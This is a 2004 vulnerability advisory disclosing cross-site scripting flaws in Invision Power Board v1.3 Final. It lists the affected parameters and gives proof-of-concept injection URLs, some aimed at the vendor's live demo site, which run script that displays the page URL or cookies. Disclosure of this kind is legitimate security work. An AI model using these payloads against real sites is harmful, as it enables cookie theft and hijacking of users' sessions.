Invision Power Board v1.3 Final Cross Site Scripting Vulnerabillity
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Software: Invision Power Board
Vendor: http://www.invisionboard.com/
Versions: (U) v1.3 Final
Bug: Cross Site Scripting Vulnerabillity
Risk: Medium
Exploitation: Remote with browser
Date: 29 Feb 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insider@xxxxxxxx
Web: http://theinsider.deep-ice.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Introduction
2) Bug
3) The Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===============
1) Introduction
===============
Invision Power Board is available under a yearly and lifetime purchase
option for both personal and commercial use, no catches, no "spyware",
no hidden costs anywhere.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
The Vulnerabillity is Cross Site Scripting.
The vulnerable form fields are "c","f","showtopic","showuser","username".
If an attacker will request the following url from the server:
http://<host>/?c='><script>alert(window.document.url)</script><plaintext>
Or
http://<host>/?showtopic='><script>alert(window.document.url)</script><plain
text>
Or
http://<host>/?act=SR&f='><script>alert(document.cookie)</script>
Or
http://<host>/?showuser='><script>alert(document.cookie)</script>
Or
http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert
(document.cookie)</script>
XSS appears and the server allows an attacker to inject & execute scripts.
In the words of securityfocus.com :
~~~~~~~~~~~~~~~~~~~~~~~~~~
If all of these circumstances are met, an attacker may be able to exploit
this issue
via a malicious link containing arbitrary HTML and script code as part of
the hostname.
When the malicious link is clicked by an unsuspecting user, the
attacker-supplied HTML
and script code will be executed by their web client. This will occur
because the server
will echo back the malicious hostname supplied in the client's request,
without sufficiently
escaping HTML and script code.
Attacks of this nature may make it possible for attackers to manipulate web
content or to
steal cookie-based authentication credentials. It may be possible to take
arbitrary actions as the victim user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===========
3) The Code
===========
http://<host>/?c='><script>alert(window.document.url)</script><plaintext>
http://<host>/?showtopic='><script>alert(window.document.url)</script><plain
text>
http://<host>/?act=SR&f='><script>alert(document.cookie)</script>
http://<host>/?showuser='><script>alert(document.cookie)</script>
http://<host>/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert
(document.cookie)</script>
Live Example:
http://demo.invisionboard.com/?c='><script>alert(window.document.url)</scrip
t><plaintext>
http://demo.invisionboard.com/?showtopic='><script>alert(window.document.url
)</script><plaintext>
http://demo.invisionboard.com/?act=SR&f='><script>alert(document.cookie)</sc
ript>
http://demo.invisionboard.com/?showuser='><script>alert(document.cookie)</sc
ript>
http://demo.invisionboard.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName
='><script>alert(document.cookie)</script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---
Rafel Ivgi, The-Insider - advisory#41.txt
http://theinsider.deep-ice.com
"Things that are unlikeable, are NOT impossible."